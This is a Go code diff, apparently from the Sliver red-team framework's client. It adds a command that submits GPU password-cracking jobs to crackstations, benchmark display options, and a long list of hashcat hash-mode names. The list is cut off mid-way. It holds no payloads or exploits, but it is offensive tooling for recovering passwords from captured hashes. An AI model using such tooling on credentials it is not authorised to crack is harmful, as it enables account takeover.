"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"time"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -34,6 +35,37 @@ import (
|
||||
|
||||
// CrackCmd - GPU password cracking interface
|
||||
func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if shouldRunCrack(cmd, args) {
|
||||
crackCmd, err := buildCrackCommand(cmd, args)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
timeoutSeconds, _ := cmd.Flags().GetInt64("timeout")
|
||||
ctx := context.Background()
|
||||
if timeoutSeconds > 0 {
|
||||
var cancel context.CancelFunc
|
||||
ctx, cancel = context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||
defer cancel()
|
||||
}
|
||||
|
||||
resp, err := con.Rpc.Crack(ctx, crackCmd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if resp == nil || resp.Job == nil {
|
||||
con.PrintInfof("Crack request submitted\n")
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Crack job %s created (status: %s)\n", resp.Job.ID, resp.Job.Status.String())
|
||||
if resp.Job.Err != "" {
|
||||
con.PrintErrorf("Crack job error: %s\n", resp.Job.Err)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if !AreCrackersOnline(con) {
|
||||
PrintNoCrackstations(con)
|
||||
} else {
|
||||
@@ -64,10 +96,11 @@ func CrackStationsCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
showBenchmarks, _ := cmd.Flags().GetBool("show-benchmarks")
|
||||
if len(crackers.Crackstations) == 0 {
|
||||
PrintNoCrackstations(con)
|
||||
} else {
|
||||
PrintCrackers(crackers.Crackstations, con)
|
||||
PrintCrackers(crackers.Crackstations, con, showBenchmarks)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -83,12 +116,12 @@ func AreCrackersOnline(con *console.SliverClient) bool {
|
||||
return len(crackers.Crackstations) > 0
|
||||
}
|
||||
|
||||
func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient) {
|
||||
func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient, showBenchmarks bool) {
|
||||
sort.Slice(crackers, func(i, j int) bool {
|
||||
return crackers[i].Name < crackers[j].Name
|
||||
})
|
||||
for index, cracker := range crackers {
|
||||
printCracker(cracker, index, con)
|
||||
printCracker(cracker, index, con, showBenchmarks)
|
||||
if index < len(crackers)-1 {
|
||||
con.Println()
|
||||
con.Println()
|
||||
@@ -96,53 +129,63 @@ func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient)
|
||||
}
|
||||
}
|
||||
|
||||
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient) {
|
||||
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient, showBenchmarks bool) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n")
|
||||
tw.SetTitle(console.StyleBoldOrange.Render(fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName)) + "\n")
|
||||
tw.AppendSeparator()
|
||||
tw.AppendRow(table.Row{console.Bold + "Operating System" + console.Normal, fmt.Sprintf("%s/%s", cracker.GOOS, cracker.GOARCH)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Hashcat Version" + console.Normal, cracker.HashcatVersion})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Operating System"), fmt.Sprintf("%s/%s", cracker.GOOS, cracker.GOARCH)})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Hashcat Version"), cracker.HashcatVersion})
|
||||
if 0 < len(cracker.CUDA) {
|
||||
for _, cuda := range cracker.CUDA {
|
||||
tw.AppendSeparator()
|
||||
tw.AppendRow(table.Row{console.Bold + "CUDA Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, cuda.Name, cuda.Version)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", cuda.MemoryFree, cuda.MemoryTotal)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", cuda.Clock)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", cuda.Processors)})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("CUDA Device"), console.StyleBoldGreen.Render(fmt.Sprintf("%s (%s)", cuda.Name, cuda.Version))})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Memory"), fmt.Sprintf("%s free of %s", cuda.MemoryFree, cuda.MemoryTotal)})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Clock"), fmt.Sprintf("%d", cuda.Clock)})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Processors"), fmt.Sprintf("%d", cuda.Processors)})
|
||||
}
|
||||
}
|
||||
if 0 < len(cracker.Metal) {
|
||||
for _, metal := range cracker.Metal {
|
||||
tw.AppendSeparator()
|
||||
tw.AppendRow(table.Row{console.Bold + "Metal Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, metal.Name, metal.Version)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", metal.MemoryFree, metal.MemoryTotal)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", metal.Clock)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", metal.Processors)})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Metal Device"), console.StyleBoldGreen.Render(fmt.Sprintf("%s (%s)", metal.Name, metal.Version))})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Memory"), fmt.Sprintf("%s free of %s", metal.MemoryFree, metal.MemoryTotal)})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Clock"), fmt.Sprintf("%d", metal.Clock)})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Processors"), fmt.Sprintf("%d", metal.Processors)})
|
||||
}
|
||||
}
|
||||
if 0 < len(cracker.OpenCL) {
|
||||
for _, openCL := range cracker.OpenCL {
|
||||
tw.AppendSeparator()
|
||||
tw.AppendRow(table.Row{console.Bold + "OpenCL Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+console.Bold+"%s (%s)"+console.Normal, openCL.Name, openCL.Version)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", openCL.MemoryFree, openCL.MemoryTotal)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", openCL.Clock)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", openCL.Processors)})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("OpenCL Device"), console.StyleBoldGreen.Render(fmt.Sprintf("%s (%s)", openCL.Name, openCL.Version))})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Memory"), fmt.Sprintf("%s free of %s", openCL.MemoryFree, openCL.MemoryTotal)})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Clock"), fmt.Sprintf("%d", openCL.Clock)})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Processors"), fmt.Sprintf("%d", openCL.Processors)})
|
||||
}
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
con.Println()
|
||||
printBenchmarks(cracker, con)
|
||||
if showBenchmarks {
|
||||
con.Println()
|
||||
printBenchmarks(cracker, con)
|
||||
}
|
||||
}
|
||||
|
||||
func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Benchmarks" + console.Normal)
|
||||
tw.SetTitle(console.StyleBold.Render("Benchmarks"))
|
||||
tw.SortBy([]table.SortBy{{Name: "Hash Type"}})
|
||||
tw.AppendHeader(table.Row{"Hash Type", "Rate (H/s)"})
|
||||
for hashType, speed := range cracker.Benchmarks {
|
||||
tw.AppendRow(table.Row{clientpb.HashType(hashType), fmt.Sprintf("%d", speed)})
|
||||
tw.AppendHeader(table.Row{"Hash Type", "Rate"})
|
||||
if len(cracker.Benchmarks) == 0 {
|
||||
tw.AppendRow(table.Row{"No benchmarks reported", "-"})
|
||||
} else {
|
||||
for hashType, speed := range cracker.Benchmarks {
|
||||
name, ok := hashcatHashTypeName(hashType)
|
||||
if !ok {
|
||||
name = clientpb.HashType(hashType).String()
|
||||
}
|
||||
tw.AppendRow(table.Row{name, humanizeHashRate(speed)})
|
||||
}
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -0,0 +1,419 @@
|
||||
package crack
|
||||
|
||||
import "fmt"
|
||||
|
||||
// Hashcat mode names sourced from client/credentials/EXAMPLES.md.
|
||||
var hashcatHashTypes = map[int32]string{
|
||||
0: "MD5",
|
||||
10: "md5($pass.$salt)",
|
||||
11: "Joomla < 2.5.18",
|
||||
12: "PostgreSQL",
|
||||
20: "md5($salt.$pass)",
|
||||
21: "osCommerce, xt:Commerce",
|
||||
22: "Juniper NetScreen/SSG (ScreenOS)",
|
||||
23: "Skype",
|
||||
24: "SolarWinds Serv-U",
|
||||
30: "md5(utf16le($pass).$salt)",
|
||||
40: "md5($salt.utf16le($pass))",
|
||||
50: "HMAC-MD5 (key = $pass)",
|
||||
60: "HMAC-MD5 (key = $salt)",
|
||||
70: "md5(utf16le($pass))",
|
||||
100: "SHA1",
|
||||
101: "nsldap, SHA-1(Base64), Netscape LDAP SHA",
|
||||
110: "sha1($pass.$salt)",
|
||||
111: "nsldaps, SSHA-1(Base64), Netscape LDAP SSHA",
|
||||
112: "Oracle S: Type (Oracle 11+)",
|
||||
120: "sha1($salt.$pass)",
|
||||
121: "SMF (Simple Machines Forum) > v1.1",
|
||||
122: "macOS v10.4, macOS v10.5, macOS v10.6",
|
||||
123: "EPi",
|
||||
124: "Django (SHA-1)",
|
||||
125: "ArubaOS",
|
||||
130: "sha1(utf16le($pass).$salt)",
|
||||
131: "MSSQL (2000)",
|
||||
132: "MSSQL (2005)",
|
||||
133: "PeopleSoft",
|
||||
140: "sha1($salt.utf16le($pass))",
|
||||
141: "Episerver 6.x < .NET 4",
|
||||
150: "HMAC-SHA1 (key = $pass)",
|
||||
160: "HMAC-SHA1 (key = $salt)",
|
||||
170: "sha1(utf16le($pass))",
|
||||
190: "sha1(LinkedIn)",
|
||||
200: "MySQL323",
|
||||
300: "MySQL4.1/MySQL5",
|
||||
400: "phpass, phpBB3 (MD5)",
|
||||
500: "md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)",
|
||||
501: "Juniper IVE",
|
||||
600: "BLAKE2b-512",
|
||||
900: "MD4",
|
||||
1000: "NTLM",
|
||||
1100: "Domain Cached Credentials (DCC), MS Cache",
|
||||
1300: "SHA2-224",
|
||||
1400: "SHA2-256",
|
||||
1410: "sha256($pass.$salt)",
|
||||
1411: "SSHA-256(Base64), LDAP {SSHA256}",
|
||||
1420: "sha256($salt.$pass)",
|
||||
1421: "hMailServer",
|
||||
1430: "sha256(utf16le($pass).$salt)",
|
||||
1431: "base64(sha256(unicode($pass)))",
|
||||
1440: "sha256($salt.utf16le($pass))",
|
||||
1441: "Episerver 6.x >= .NET 4",
|
||||
1450: "HMAC-SHA256 (key = $pass)",
|
||||
1460: "HMAC-SHA256 (key = $salt)",
|
||||
1470: "sha256(utf16le($pass))",
|
||||
1500: "descrypt, DES (Unix), Traditional DES",
|
||||
1600: "Apache $apr1$ MD5, md5apr1, MD5 (APR)",
|
||||
1700: "SHA2-512",
|
||||
1710: "sha512($pass.$salt)",
|
||||
1711: "SSHA-512(Base64), LDAP {SSHA512}",
|
||||
1720: "sha512($salt.$pass)",
|
||||
1722: "macOS v10.7",
|
||||
1730: "sha512(utf16le($pass).$salt)",
|
||||
1731: "MSSQL (2012, 2014)",
|
||||
1740: "sha512($salt.utf16le($pass))",
|
||||
1750: "HMAC-SHA512 (key = $pass)",
|
||||
1760: "HMAC-SHA512 (key = $salt)",
|
||||
1770: "sha512(utf16le($pass))",
|
||||
1800: "sha512crypt $6$, SHA512 (Unix)",
|
||||
2000: "STDOUT",
|
||||
2100: "Domain Cached Credentials 2 (DCC2), MS Cache 2",
|
||||
2400: "Cisco-PIX MD5",
|
||||
2410: "Cisco-ASA MD5",
|
||||
2500: "WPA-EAPOL-PBKDF2",
|
||||
2501: "WPA-EAPOL-PMK",
|
||||
2600: "md5(md5($pass))",
|
||||
2611: "vBulletin < v3.8.5",
|
||||
2612: "PHPS",
|
||||
2711: "vBulletin >= v3.8.5",
|
||||
2811: "MyBB 1.2+, IPB2+ (Invision Power Board)",
|
||||
3000: "LM",
|
||||
3100: "Oracle H: Type (Oracle 7+)",
|
||||
3200: "bcrypt $2\\*$, Blowfish (Unix)",
|
||||
3300: "MD5(Sun)",
|
||||
3500: "md5(md5(md5($pass)))",
|
||||
3610: "md5(md5($salt).$pass )",
|
||||
3710: "md5($salt.md5($pass))",
|
||||
3711: "MediaWiki B type",
|
||||
3720: "md5($pass.md5($salt))",
|
||||
3721: "WebEdition CMS",
|
||||
3800: "md5($salt.$pass.$salt)",
|
||||
3910: "md5(md5($pass).md5($salt))",
|
||||
4010: "md5($salt.md5($salt.$pass))",
|
||||
4110: "md5($salt.md5($pass.$salt))",
|
||||
4210: "md5($username.0.$pass)",
|
||||
4300: "md5(strtoupper(md5($pass)))",
|
||||
4400: "md5(sha1($pass))",
|
||||
4500: "sha1(sha1($pass))",
|
||||
4510: "sha1(sha1($pass).$salt)",
|
||||
4520: "sha1($salt.sha1($pass))",
|
||||
4521: "Redmine",
|
||||
4522: "PunBB",
|
||||
4600: "sha1(sha1(sha1($pass)))",
|
||||
4700: "sha1(md5($pass))",
|
||||
4710: "sha1(md5($pass).$salt)",
|
||||
4711: "Huawei sha1(md5($pass).$salt)",
|
||||
4800: "iSCSI CHAP authentication, MD5(CHAP)",
|
||||
4900: "sha1($salt.$pass.$salt)",
|
||||
5000: "sha1(sha1($salt.$pass.$salt))",
|
||||
5100: "Half MD5",
|
||||
5200: "Password Safe v3",
|
||||
5300: "IKE-PSK MD5",
|
||||
5400: "IKE-PSK SHA1",
|
||||
5500: "NetNTLMv1 / NetNTLMv1+ESS",
|
||||
5600: "NetNTLMv2",
|
||||
5700: "Cisco-IOS type 4 (SHA256)",
|
||||
5800: "Samsung Android Password/PIN",
|
||||
6000: "RIPEMD-160",
|
||||
6100: "Whirlpool",
|
||||
6211: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish",
|
||||
6212: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-AES / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent",
|
||||
6213: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish-Serpent / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES",
|
||||
6221: "TrueCrypt 5.0+ SHA512 + AES / TrueCrypt 5.0+ SHA512 + Serpent / TrueCrypt 5.0+ SHA512 + Twofish",
|
||||
6222: "TrueCrypt 5.0+ SHA512 + AES-Twofish / TrueCrypt 5.0+ SHA512 + Serpent-AES / TrueCrypt 5.0+ SHA512 + Twofish-Serpent",
|
||||
6223: "TrueCrypt 5.0+ SHA512 + AES-Twofish-Serpent / TrueCrypt 5.0+ SHA512 + Serpent-Twofish-AES",
|
||||
6231: "TrueCrypt 5.0+ Whirlpool + AES / TrueCrypt 5.0+ Whirlpool + Serpent / TrueCrypt 5.0+ Whirlpool + Twofish",
|
||||
6232: "TrueCrypt 5.0+ Whirlpool + AES-Twofish / TrueCrypt 5.0+ Whirlpool + Serpent-AES / TrueCrypt 5.0+ Whirlpool + Twofish-Serpent",
|
||||
6233: "TrueCrypt 5.0+ Whirlpool + AES-Twofish-Serpent / TrueCrypt 5.0+ Whirlpool + Serpent-Twofish-AES",
|
||||
6241: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish + boot",
|
||||
6242: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-AES + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent + boot",
|
||||
6243: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish-Serpent + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES + boot",
|
||||
6300: "AIX {smd5}",
|
||||
6400: "AIX {ssha256}",
|
||||
6500: "AIX {ssha512}",
|
||||
6600: "1Password, agilekeychain",
|
||||
6700: "AIX {ssha1}",
|
||||
6800: "LastPass + LastPass sniffed",
|
||||
6900: "GOST R 34.11-94",
|
||||
7000: "FortiGate (FortiOS)",
|
||||
7100: "macOS v10.8+ (PBKDF2-SHA512)",
|
||||
7200: "GRUB 2",
|
||||
7300: "IPMI2 RAKP HMAC-SHA1",
|
||||
7400: "sha256crypt $5$, SHA256 (Unix)",
|
||||
7401: "MySQL $A$ (sha256crypt)",
|
||||
7500: "Kerberos 5, etype 23, AS-REQ Pre-Auth",
|
||||
7700: "SAP CODVN B (BCODE)",
|
||||
7701: "SAP CODVN B (BCODE) from RFC_READ_TABLE",
|
||||
7800: "SAP CODVN F/G (PASSCODE)",
|
||||
7801: "SAP CODVN F/G (PASSCODE) from RFC_READ_TABLE",
|
||||
7900: "Drupal7",
|
||||
8000: "Sybase ASE",
|
||||
8100: "Citrix NetScaler (SHA1)",
|
||||
8200: "1Password, cloudkeychain",
|
||||
8300: "DNSSEC (NSEC3)",
|
||||
8400: "WBB3 (Woltlab Burning Board)",
|
||||
8500: "RACF",
|
||||
8600: "Lotus Notes/Domino 5",
|
||||
8700: "Lotus Notes/Domino 6",
|
||||
8800: "Android FDE <= 4.3",
|
||||
8900: "scrypt",
|
||||
9000: "Password Safe v2",
|
||||
9100: "Lotus Notes/Domino 8",
|
||||
9200: "Cisco-IOS $8$ (PBKDF2-SHA256)",
|
||||
9300: "Cisco-IOS $9$ (scrypt)",
|
||||
9400: "MS Office 2007",
|
||||
9500: "MS Office 2010",
|
||||
9600: "MS Office 2013",
|
||||
9700: "MS Office <= 2003 MD5 + RC4, oldoffice$0, oldoffice$1",
|
||||
9710: "MS Office <= 2003 $0/$1, MD5 + RC4, collider #1",
|
||||
9720: "MS Office <= 2003 $0/$1, MD5 + RC4, collider #2",
|
||||
9800: "MS Office <= 2003 SHA1 + RC4, oldoffice$3, oldoffice$4",
|
||||
9810: "MS Office <= 2003 $3, SHA1 + RC4, collider #1",
|
||||
9820: "MS Office <= 2003 $3, SHA1 + RC4, collider #2",
|
||||
9900: "Radmin2",
|
||||
10000: "Django (PBKDF2-SHA256)",
|
||||
10100: "SipHash",
|
||||
10200: "CRAM-MD5",
|
||||
10300: "SAP CODVN H (PWDSALTEDHASH) iSSHA-1",
|
||||
10400: "PDF 1.1 - 1.3 (Acrobat 2 - 4)",
|
||||
10410: "PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1",
|
||||
10420: "PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2",
|
||||
10500: "PDF 1.4 - 1.6 (Acrobat 5 - 8)",
|
||||
10600: "PDF 1.7 Level 3 (Acrobat 9)",
|
||||
10700: "PDF 1.7 Level 8 (Acrobat 10 - 11)",
|
||||
10800: "SHA2-384",
|
||||
10810: "sha384($pass.$salt)",
|
||||
10820: "sha384($salt.$pass)",
|
||||
10830: "sha384(utf16le($pass).$salt)",
|
||||
10840: "sha384($salt.utf16le($pass))",
|
||||
10870: "sha384(utf16le($pass))",
|
||||
10900: "PBKDF2-HMAC-SHA256",
|
||||
10901: "RedHat 389-DS LDAP (PBKDF2-HMAC-SHA256)",
|
||||
11000: "PrestaShop",
|
||||
11100: "PostgreSQL CRAM (MD5)",
|
||||
11200: "MySQL CRAM (SHA1)",
|
||||
11300: "Bitcoin/Litecoin wallet.dat",
|
||||
11400: "SIP digest authentication (MD5)",
|
||||
11500: "CRC32",
|
||||
11600: "7-Zip",
|
||||
11700: "GOST R 34.11-2012 (Streebog) 256-bit, big-endian",
|
||||
11750: "HMAC-Streebog-256 (key = $pass), big-endian",
|
||||
11760: "HMAC-Streebog-256 (key = $salt), big-endian",
|
||||
11800: "GOST R 34.11-2012 (Streebog) 512-bit, big-endian",
|
||||
11850: "HMAC-Streebog-512 (key = $pass), big-endian",
|
||||
11860: "HMAC-Streebog-512 (key = $salt), big-endian",
|
||||
11900: "PBKDF2-HMAC-MD5",
|
||||
12000: "PBKDF2-HMAC-SHA1",
|
||||
12001: "Atlassian (PBKDF2-HMAC-SHA1)",
|
||||
12100: "PBKDF2-HMAC-SHA512",
|
||||
12200: "eCryptfs",
|
||||
12300: "Oracle T: Type (Oracle 12+)",
|
||||
12400: "BSDi Crypt, Extended DES",
|
||||
12500: "RAR3-hp",
|
||||
12600: "ColdFusion 10+",
|
||||
12700: "Blockchain, My Wallet",
|
||||
12800: "MS-AzureSync PBKDF2-HMAC-SHA256",
|
||||
12900: "Android FDE (Samsung DEK)",
|
||||
13000: "RAR5",
|
||||
13100: "Kerberos 5, etype 23, TGS-REP",
|
||||
13200: "AxCrypt 1",
|
||||
13300: "AxCrypt 1 in-memory SHA1",
|
||||
13400: "KeePass 1 AES / without keyfile / KeePass 2 AES / without keyfile / KeePass 1 Twofish / with keyfile / Keepass 2 AES / with keyfile",
|
||||
13500: "PeopleSoft PS_TOKEN",
|
||||
13600: "WinZip",
|
||||
13711: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + AES / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Twofish",
|
||||
13712: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + AES-Twofish / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent-AES / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent",
|
||||
13713: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES",
|
||||
13721: "VeraCrypt PBKDF2-HMAC-SHA512 + AES / VeraCrypt PBKDF2-HMAC-SHA512 + Serpent / VeraCrypt PBKDF2-HMAC-SHA512 + Twofish",
|
||||
13722: "VeraCrypt PBKDF2-HMAC-SHA512 + AES-Twofish / VeraCrypt PBKDF2-HMAC-SHA512 + Serpent-AES / VeraCrypt PBKDF2-HMAC-SHA512 + Twofish-Serpent",
|
||||
13723: "VeraCrypt PBKDF2-HMAC-SHA512 + Serpent-Twofish-AES",
|
||||
13731: "VeraCrypt PBKDF2-HMAC-Whirlpool + AES / VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent / VeraCrypt PBKDF2-HMAC-Whirlpool + Twofish",
|
||||
13732: "VeraCrypt PBKDF2-HMAC-Whirlpool + AES-Twofish / VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent-AES / VeraCrypt PBKDF2-HMAC-Whirlpool + Twofish-Serpent",
|
||||
13733: "VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent-Twofish-AES",
|
||||
13741: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES",
|
||||
13742: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES-Twofish",
|
||||
13743: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES-Twofish-Serpent",
|
||||
13751: "VeraCrypt PBKDF2-HMAC-SHA256 + AES / VeraCrypt PBKDF2-HMAC-SHA256 + Serpent / VeraCrypt PBKDF2-HMAC-SHA256 + Twofish",
|
||||
13752: "VeraCrypt PBKDF2-HMAC-SHA256 + AES-Twofish / VeraCrypt PBKDF2-HMAC-SHA256 + Serpent-AES / VeraCrypt PBKDF2-HMAC-SHA256 + Twofish-Serpent",
|
||||
13753: "VeraCrypt PBKDF2-HMAC-SHA256 + Serpent-Twofish-AES",
|
||||
13761: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Twofish / VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + PIM + AES",
|
||||
13762: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Serpent-AES",
|
||||
13763: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Serpent-Twofish-AES",
|
||||
13771: "VeraCrypt Streebog-512 + XTS 512 bit",
|
||||
13772: "VeraCrypt Streebog-512 + XTS 1024 bit",
|
||||
13773: "VeraCrypt Streebog-512 + XTS 1536 bit",
|
||||
13800: "Windows Phone 8+ PIN/password",
|
||||
13900: "OpenCart",
|
||||
14000: "DES (PT = $salt, key = $pass)",
|
||||
14100: "3DES (PT = $salt, key = $pass)",
|
||||
14400: "sha1(CX)",
|
||||
14500: "Linux Kernel Crypto API (2.4)",
|
||||
14600: "LUKS",
|
||||
14700: "iTunes backup < 10.0",
|
||||
14800: "iTunes backup >= 10.0",
|
||||
14900: "Skip32 (PT = $salt, key = $pass)",
|
||||
15000: "FileZilla Server >= 0.9.55",
|
||||
15100: "Juniper/NetBSD sha1crypt",
|
||||
15200: "Blockchain, My Wallet, V2",
|
||||
15300: "DPAPI masterkey file v1 + local context",
|
||||
15400: "ChaCha20",
|
||||
15500: "JKS Java Key Store Private Keys (SHA1)",
|
||||
15600: "Ethereum Wallet, PBKDF2-HMAC-SHA256",
|
||||
15700: "Ethereum Wallet, SCRYPT",
|
||||
15900: "DPAPI masterkey file v2 + Active Directory domain context",
|
||||
16000: "Tripcode",
|
||||
16100: "TACACS+",
|
||||
16200: "Apple Secure Notes",
|
||||
16300: "Ethereum Pre-Sale Wallet, PBKDF2-HMAC-SHA256",
|
||||
16400: "CRAM-MD5 Dovecot",
|
||||
16500: "JWT (JSON Web Token)",
|
||||
16600: "Electrum Wallet (Salt-Type 1-3)",
|
||||
16700: "FileVault 2",
|
||||
16800: "WPA-PMKID-PBKDF2",
|
||||
16801: "WPA-PMKID-PMK",
|
||||
16900: "Ansible Vault",
|
||||
17200: "PKZIP (Compressed)",
|
||||
17210: "PKZIP (Uncompressed)",
|
||||
17220: "PKZIP (Compressed Multi-File)",
|
||||
17225: "PKZIP (Mixed Multi-File)",
|
||||
17230: "PKZIP (Mixed Multi-File Checksum-Only)",
|
||||
17300: "SHA3-224",
|
||||
17400: "SHA3-256",
|
||||
17500: "SHA3-384",
|
||||
17600: "SHA3-512",
|
||||
17700: "Keccak-224",
|
||||
17800: "Keccak-256",
|
||||
17900: "Keccak-384",
|
||||
18000: "Keccak-512",
|
||||
18100: "TOTP (HMAC-SHA1)",
|
||||
18200: "Kerberos 5, etype 23, AS-REP",
|
||||
18300: "Apple File System (APFS)",
|
||||
18400: "Open Document Format (ODF) 1.2 (SHA-256, AES)",
|
||||
18500: "sha1(md5(md5($pass)))",
|
||||
18600: "Open Document Format (ODF) 1.1 (SHA-1, Blowfish)",
|
||||
18700: "Java Object hashCode()",
|
||||
18800: "Blockchain, My Wallet, Second Password (SHA256)",
|
||||
18900: "Android Backup",
|
||||
19000: "QNX /etc/shadow (MD5)",
|
||||
19100: "QNX /etc/shadow (SHA256)",
|
||||
19200: "QNX /etc/shadow (SHA512)",
|
||||
19300: "sha1($salt1.$pass.$salt2)",
|
||||
19500: "Ruby on Rails Restful-Authentication",
|
||||
19600: "Kerberos 5, etype 17, TGS-REP (AES128-CTS-HMAC-SHA1-96)",
|
||||
19700: "Kerberos 5, etype 18, TGS-REP (AES256-CTS-HMAC-SHA1-96)",
|
||||
19800: "Kerberos 5, etype 17, Pre-Auth",
|
||||
19900: "Kerberos 5, etype 18, Pre-Auth",
|
||||
20011: "DiskCryptor SHA512 + XTS 512 bit (AES) / DiskCryptor SHA512 + XTS 512 bit (Twofish) / DiskCryptor SHA512 + XTS 512 bit (Serpent)",
|
||||
20012: "DiskCryptor SHA512 + XTS 1024 bit (AES-Twofish) / DiskCryptor SHA512 + XTS 1024 bit (Twofish-Serpent) / DiskCryptor SHA512 + XTS 1024 bit (Serpent-AES)",
|
||||
20013: "DiskCryptor SHA512 + XTS 1536 bit (AES-Twofish-Serpent)",
|
||||
20200: "Python passlib pbkdf2-sha512",
|
||||
20300: "Python passlib pbkdf2-sha256",
|
||||
20400: "Python passlib pbkdf2-sha1",
|
||||
20500: "PKZIP Master Key",
|
||||
20510: "PKZIP Master Key (6 byte optimization)",
|
||||
20600: "Oracle Transportation Management (SHA256)",
|
||||
20710: "sha256(sha256($pass).$salt)",
|
||||
20711: "AuthMe sha256",
|
||||
20720: "sha256($salt.sha256($pass))",
|
||||
20800: "sha256(md5($pass))",
|
||||
